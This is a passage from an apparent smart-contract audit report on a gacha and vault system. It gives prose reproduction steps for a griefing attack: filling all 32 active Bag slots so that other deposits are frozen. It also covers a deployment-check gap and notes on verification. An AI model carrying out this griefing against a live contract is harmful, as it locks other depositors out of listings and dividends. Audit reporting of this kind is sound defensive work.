Active Bags are capped at MAX_ACTIVE = 32 (line 407) with no per-depositor limit, no minimum size beyond 0.3P and no expiry. One address can seal 32 Bags of 0.3P (0.003 ETH each, 0.096 ETH of listed tokens) and never withdraw; every other seal() then reverts TooManyActive indefinitely, freezing listings and the Genesis dividend share distribution that follows sqrt-value shares of listed Bags. A bought-back Bag of the same depositor re-enters the active list in _settle (line 854-855) before any waiting depositor can seal. This is also the precondition that keeps other depositors' cheaper Bags from diluting the tier-top inventory of the high finding. Fix: a per-depositor active-Bag limit (e.g. 4) and/or a minimum active value scaling with the reserve, or let anyone force-withdraw a matured Bag (tokens returned to the depositor, no fee) once it has sat through N snapshots undrawn.

**Reproduction**

Attacker seals 32 Bags of 3 tokens priced at 1e-3 ETH each (value 0.003 ETH = 0.3P, tier 0, under 5% of any reserve >= 0.06 ETH). Any other account then calls seal([tokenX],[amount]) with a valid priced token. Expected: a new listing. Actual: revert TooManyActive(), persisting for as long as the attacker leaves the Bags listed (they are only removed by the attacker's own withdraw, or by being drawn and kept, which the attacker re-seals at once). Confirmed by reading seal(), _activate() and _settle(); no per-depositor state exists.

### 6. Low: CheckLaunch never checks GenesisVault.startTime against the agreed startTime

`script/CheckLaunch.s.sol:42`

```
                || vault.curator() != expectedCurator || gacha.startTime() != expectedStartTime
```

The 1f9510eb fix added independent expectedWrapper/expectedCurator/expectedStartTime arguments and checks gacha.startTime() and both curators (line 40-43), but GenesisVault has its own immutable startTime (README constructor table lists it for both contracts) and the script never reads vault.startTime(). The two gate different things: BagGacha.startTime opens spins, GenesisVault.startTime opens quote() (returns 0 before it), anchors the 540-day emission target() and the dividend accrual origin lastAccrual. A vault deployed with a later startTime opens spins with no Genesis lane (gBps = 0 for paid spins; freeSpin() reverts NothingToDraw for every holder, so the 2 free spins per GoblinNFT are unusable) until the vault's startTime, and dividends accrue late; an earlier one runs target() ahead so early quotes skip the ahead-of-schedule decay and the dividend stream back-fills. Both are a one-word deployment typo the preflight exists to catch and that release() freezes. Fix: add `|| vault.startTime() != expectedStartTime` to the WrongWiring condition, with a regression in LaunchPreflight.t.sol.

**Reproduction**

Deploy the launch set as in test/audit1f9510eb/LaunchPreflight.t.sol but construct GenesisVault with startTime_ = 1 + 30 days while BagGacha is constructed with startTime_ = 1, fund the vault, mock the gacha hash, and call CheckLaunch.run(hook, gacha, wrapper, curator, 1). Expected: revert WrongWiring. Actual: the script passes every check, simulates setLaunchTargets and bindGacha successfully (scratch test test/scratch/VaultStart.t.sol passes on this code under the launch profile, i.e. no revert). At startTime + 48 h spin() works but _commitGenesis returns (0,0) and freeSpin(tokenId) reverts NothingToDraw for 30 days.

### 7. Info: Verification notes: launch identity reproduced, 1f9510eb fixes confirmed, owner retarget-after-bind power is a documented trust assumption

`src/GoblinNFT.sol:203`

```
    function setLaunchTargets(address pol, address reserve, address vrf) external onlyOwner {
```

Launch-profile build (FOUNDRY_VIA_IR=false FOUNDRY_BYTECODE_HASH=none, solc 0.8.26, 200 runs, cancun) reproduces the BagGacha runtime hash 0xb1a5cbbca856aef754bdb7d19c2d81b8599e14ee88c3084ffb55f6c6adeb490a; REQUIRED_FLAGS = (1<<13)|(1<<12)|(1<<11)|(1<<7)|(1<<6)|(1<<3)|(1<<2) = 0x38CC and the GoldHook permission tests pass; the audit1f9510eb suites, GoldHook and GasBench pass under the launch profile with the requested fuzz seed (44 tests). Confirmed by reading and by the repo's regressions: empty-tier odds donate only to the nearest lower non-empty tier and weights[0] == 0 clears the regular snapshot and liability before VRF is paid (NothingToDraw when Genesis is unavailable); V3Depth carries min(L, L +/- net) across each crossing, handles both exact-price slot0 representations, negative-tick word rounding and word boundaries like canonical TickBitmap, and discards the tail, so no layout found by review or by the specialists' 3000-run fuzz credits more than the true released amount; the 1 ETH unscaled floor and min(5% equivalent depth, released WETH) cap are applied in _liquidBalances; bindCheck/bindGacha check POL mintEscrow and poolManager; CheckLaunch checks funding (>=), wrapper, both Curators, gacha startTime and a positive spinPrice. VRF/cancel: fulfilments at or after requestedAt + CANCEL_DELAY are ignored and cancel is only possible from that instant, so no race leaves a stranded liability. Trust assumption (README already states it): setLaunchTargets stays callable by the deployed NFT owner after bindGacha until release(); hook fees keep flowing to the bound gacha while the escrow can be released to another. A specialist's mainnet read of GoblinNFT 0xC5d5F314da6d4a433F9BF897a2cC24A537576cB1 reported released=false, soldOut=false, targetsSet=false, so no bindGacha lock-out exists today; that read was not repeated here.

**Reproduction**

node -e: keccak256 of out/BagGacha.sol/BagGacha.json deployedBytecode under the launch profile = 0xb1a5cbbca856aef754bdb7d19c2d81b8599e14ee88c3084ffb55f6c6adeb490a. Trust assumption: hook bound to gacha A, NFT not released; owner calls nft.setLaunchTargets(polB, B, B). Expected per README: binding and escrow destinations coincide. Actual: hook.flush() keeps paying A.fundReserve() while B.pullMintEscrow() later receives the escrow shares; bindCheck(B) returns AlreadyBound. Documented in README ('The owner must not retarget after binding').

---

Judge's submission `ebe8290b0049e5b9e469a2f94e830975f5682083fd6ded06ff16a8728c0f9fd0`, accepted on the IdentityMD network. Acceptance means the report met the job's checks;
it is not a guarantee that the code has no other defects.
